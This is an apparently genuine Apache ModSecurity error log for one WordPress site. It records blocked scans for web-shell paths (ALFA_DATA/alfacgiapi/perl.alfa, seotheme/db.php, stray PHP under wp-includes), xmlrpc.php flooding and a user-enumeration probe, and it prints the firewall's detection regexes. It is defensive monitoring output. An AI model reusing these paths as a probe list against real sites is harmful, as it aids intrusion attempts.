[Fri May 01 15:40:22.536364 2026] [:error] [pid 33791:tid 33816] [client 43.134.141.244:37438] [client 43.134.141.244] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afRY5m9ixd-moLycM9ClhQAAABY"]
[Fri May 01 18:59:04.063912 2026] [:error] [pid 33791:tid 33811] [client 45.92.1.113:53948] [client 45.92.1.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/txets.php"] [unique_id "afSHeG9ixd-moLycM9Dv2wAAABE"]
[Fri May 01 18:59:04.566589 2026] [:error] [pid 24997:tid 25079] [client 45.92.1.113:54028] [client 45.92.1.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "afSHePOkHa4ScY5oo8y_7AAAANc"]
[Fri May 01 18:59:05.072081 2026] [:error] [pid 33791:tid 33800] [client 45.92.1.113:54090] [client 45.92.1.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "afSHeW9ixd-moLycM9Dv4QAAAAY"]
[Fri May 01 18:59:08.066352 2026] [:error] [pid 24997:tid 25066] [client 45.92.1.113:54400] [client 45.92.1.113] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/txets.php"] [unique_id "afSHfPOkHa4ScY5oo8y_7wAAAMo"]
[Fri May 01 20:38:10.302767 2026] [:error] [pid 25085:tid 25108] [client 152.59.154.238:62830] [client 152.59.154.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.154.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSesvuD8fWRiE0RX0EISQAAAVE"]
[Fri May 01 20:38:16.131626 2026] [:error] [pid 24995:tid 24999] [client 152.59.154.238:16263] [client 152.59.154.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.154.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSeuOdJG9WB_Q_ne0uzbwAAAEA"]
[Fri May 01 20:38:26.550995 2026] [:error] [pid 33791:tid 33806] [client 152.59.154.238:63462] [client 152.59.154.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.154.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSewm9ixd-moLycM9AROgAAAAw"]
[Fri May 01 20:38:37.165441 2026] [:error] [pid 25320:tid 25338] [client 152.59.154.238:63846] [client 152.59.154.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.154.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSezVc3wJ-3-XaXB3oI0gAAAQ8"]
[Fri May 01 20:38:47.850565 2026] [:error] [pid 24996:tid 25035] [client 152.59.154.238:64233] [client 152.59.154.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.154.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSe1yDBq9mMfUWQQepi2AAAAIc"]
[Fri May 01 20:38:59.113910 2026] [:error] [pid 24996:tid 25035] [client 152.59.154.238:64626] [client 152.59.154.238] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.154.238, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSe4yDBq9mMfUWQQepi7QAAAIc"]
[Fri May 01 20:57:46.964052 2026] [:error] [pid 25320:tid 25342] [client 43.130.100.35:60614] [client 43.130.100.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afSjSlc3wJ-3-XaXB3oNxQAAARM"]
[Fri May 01 21:06:10.665174 2026] [:error] [pid 33791:tid 33800] [client 95.216.2.94:52970] [client 95.216.2.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.216.2.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSlQm9ixd-moLycM9AZlwAAAAY"]
[Fri May 01 21:21:34.103616 2026] [:error] [pid 24997:tid 25076] [client 51.159.214.31:47486] [client 51.159.214.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.214.31, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSo3vOkHa4ScY5oo8zcnwAAANQ"]
[Fri May 01 21:44:58.530743 2026] [:error] [pid 24997:tid 25076] [client 34.182.59.32:58953] [client 34.182.59.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.59.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuWvOkHa4ScY5oo8zgpAAAANQ"]
[Fri May 01 21:45:02.049121 2026] [:error] [pid 24997:tid 25074] [client 34.182.59.32:58953] [client 34.182.59.32] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "afSuXvOkHa4ScY5oo8zgqgAAANI"]
[Fri May 01 21:45:03.430392 2026] [:error] [pid 24997:tid 25070] [client 34.182.59.32:58953] [client 34.182.59.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.59.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuX_OkHa4ScY5oo8zgrAAAAM4"]
[Fri May 01 21:45:05.146611 2026] [:error] [pid 24997:tid 25079] [client 34.182.59.32:60326] [client 34.182.59.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.59.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuYfOkHa4ScY5oo8zgrQAAANc"]
[Fri May 01 21:45:06.896288 2026] [:error] [pid 24995:tid 25004] [client 34.182.59.32:56553] [client 34.182.59.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.59.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuYudJG9WB_Q_ne0u79gAAAEU"]
[Fri May 01 21:45:08.635595 2026] [:error] [pid 25320:tid 25346] [client 34.182.59.32:53945] [client 34.182.59.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.59.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuZFc3wJ-3-XaXB3oWzAAAARc"]
[Fri May 01 21:45:10.317681 2026] [:error] [pid 24996:tid 25030] [client 34.182.59.32:52553] [client 34.182.59.32] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.182.59.32, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuZiDBq9mMfUWQQep6XQAAAII"]
[Fri May 01 21:45:10.317807 2026] [:error] [pid 24996:tid 25030] [client 34.182.59.32:52553] [client 34.182.59.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.182.59.32, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afSuZiDBq9mMfUWQQep6XQAAAII"]
[Fri May 01 23:13:34.565867 2026] [:error] [pid 33791:tid 33808] [client 194.26.192.131:62853] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDHm9ixd-moLycM9A9AQAAAA4"], referer: www.google.com
[Fri May 01 23:13:34.566303 2026] [:error] [pid 33791:tid 33806] [client 194.26.192.131:62854] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afTDHm9ixd-moLycM9A9AwAAAAw"]
[Fri May 01 23:13:34.576768 2026] [:error] [pid 33791:tid 33815] [client 194.26.192.131:62848] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDHm9ixd-moLycM9A9BQAAABU"], referer: www.google.com
[Fri May 01 23:13:35.305762 2026] [:error] [pid 33791:tid 33800] [client 194.26.192.131:56598] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDH29ixd-moLycM9A9CAAAAAY"], referer: www.google.com
[Fri May 01 23:13:35.306982 2026] [:error] [pid 33791:tid 33816] [client 194.26.192.131:60231] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDH29ixd-moLycM9A9CQAAABY"], referer: www.google.com
[Fri May 01 23:13:35.308839 2026] [:error] [pid 33791:tid 33809] [client 194.26.192.131:60227] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afTDH29ixd-moLycM9A9CgAAAA8"]
[Fri May 01 23:13:36.280521 2026] [:error] [pid 24996:tid 25030] [client 194.26.192.131:57844] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afTDICDBq9mMfUWQQeqJIwAAAII"]
[Fri May 01 23:13:36.281163 2026] [:error] [pid 24996:tid 25037] [client 194.26.192.131:57845] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDICDBq9mMfUWQQeqJJAAAAIk"], referer: www.google.com
[Fri May 01 23:13:36.281250 2026] [:error] [pid 24996:tid 25051] [client 194.26.192.131:57865] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDICDBq9mMfUWQQeqJJQAAAJQ"], referer: www.google.com
[Fri May 01 23:13:37.030830 2026] [:error] [pid 33791:tid 33804] [client 194.26.192.131:62849] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tpblwzph.php"] [unique_id "afTDIW9ixd-moLycM9A9GAAAAAo"], referer: www.google.com
[Fri May 01 23:13:37.107492 2026] [:error] [pid 33791:tid 33810] [client 194.26.192.131:62851] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDIW9ixd-moLycM9A9GwAAABA"], referer: www.google.com
[Fri May 01 23:13:37.390790 2026] [:error] [pid 33791:tid 33801] [client 194.26.192.131:57867] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDIW9ixd-moLycM9A9HgAAAAc"], referer: www.google.com
[Fri May 01 23:13:37.391167 2026] [:error] [pid 33791:tid 33795] [client 194.26.192.131:57865] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afTDIW9ixd-moLycM9A9HwAAAAE"]
[Fri May 01 23:13:38.068363 2026] [:error] [pid 33791:tid 33817] [client 194.26.192.131:60498] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tpblwzph.php"] [unique_id "afTDIm9ixd-moLycM9A9JAAAABc"], referer: www.google.com
[Fri May 01 23:13:38.162427 2026] [:error] [pid 33791:tid 33816] [client 194.26.192.131:61438] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDIm9ixd-moLycM9A9KAAAABY"], referer: www.google.com
[Fri May 01 23:13:38.295566 2026] [:error] [pid 33791:tid 33802] [client 194.26.192.131:57108] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "afTDIm9ixd-moLycM9A9KQAAAAg"]
[Fri May 01 23:13:38.314322 2026] [:error] [pid 33791:tid 33797] [client 194.26.192.131:57654] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDIm9ixd-moLycM9A9KgAAAAM"], referer: www.google.com
[Fri May 01 23:13:39.227380 2026] [:error] [pid 24995:tid 25004] [client 194.26.192.131:55280] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tpblwzph.php"] [unique_id "afTDI-dJG9WB_Q_ne0vETgAAAEU"], referer: www.google.com
[Fri May 01 23:13:39.739718 2026] [:error] [pid 25320:tid 25342] [client 194.26.192.131:63621] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDI1c3wJ-3-XaXB3ooyQAAARM"], referer: www.google.com
[Fri May 01 23:13:39.822268 2026] [:error] [pid 50214:tid 50238] [client 194.26.192.131:62087] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDI4s0pgrtfZkbhjN8GgAAAZQ"], referer: www.google.com
[Fri May 01 23:13:40.047882 2026] [:error] [pid 33791:tid 33802] [client 194.26.192.131:52546] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tpblwzph.php"] [unique_id "afTDJG9ixd-moLycM9A9NgAAAAg"], referer: www.google.com
[Fri May 01 23:13:41.067183 2026] [:error] [pid 25320:tid 25336] [client 194.26.192.131:58464] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tpblwzph.php"] [unique_id "afTDJVc3wJ-3-XaXB3oo0AAAAQ0"], referer: www.google.com
[Fri May 01 23:13:41.228853 2026] [:error] [pid 33791:tid 33814] [client 194.26.192.131:63621] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDJW9ixd-moLycM9A9PAAAABQ"], referer: www.google.com
[Fri May 01 23:13:41.325455 2026] [:error] [pid 50214:tid 50233] [client 194.26.192.131:60999] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDJYs0pgrtfZkbhjN8HwAAAY8"], referer: www.google.com
[Fri May 01 23:13:42.933702 2026] [:error] [pid 24997:tid 25080] [client 194.26.192.131:57495] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDJvOkHa4ScY5oo8zqcAAAANg"], referer: www.google.com
[Fri May 01 23:13:43.046939 2026] [:error] [pid 25085:tid 25107] [client 194.26.192.131:60999] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDJ_uD8fWRiE0RX0EbYAAAAVA"], referer: www.google.com
[Fri May 01 23:13:44.762768 2026] [:error] [pid 33791:tid 33808] [client 194.26.192.131:61367] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDKG9ixd-moLycM9A9QgAAAA4"], referer: www.google.com
[Fri May 01 23:13:44.802094 2026] [:error] [pid 33791:tid 33800] [client 194.26.192.131:60999] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDKG9ixd-moLycM9A9RAAAAAY"], referer: www.google.com
[Fri May 01 23:13:46.396464 2026] [:error] [pid 33791:tid 33805] [client 194.26.192.131:51278] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "afTDKm9ixd-moLycM9A9TgAAAAs"], referer: www.google.com
[Fri May 01 23:13:46.436938 2026] [:error] [pid 25320:tid 25335] [client 194.26.192.131:54198] [client 194.26.192.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "afTDKlc3wJ-3-XaXB3oo2QAAAQw"], referer: www.google.com
[Fri May 01 23:22:15.933170 2026] [:error] [pid 25085:tid 25103] [client 157.66.27.30:45444] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afTFJ_uD8fWRiE0RX0EcVwAAAUw"]
[Fri May 01 23:27:20.077906 2026] [:error] [pid 25320:tid 25328] [client 159.203.189.210:37368] [client 159.203.189.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.189.210, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afTGWFc3wJ-3-XaXB3or2AAAAQU"]
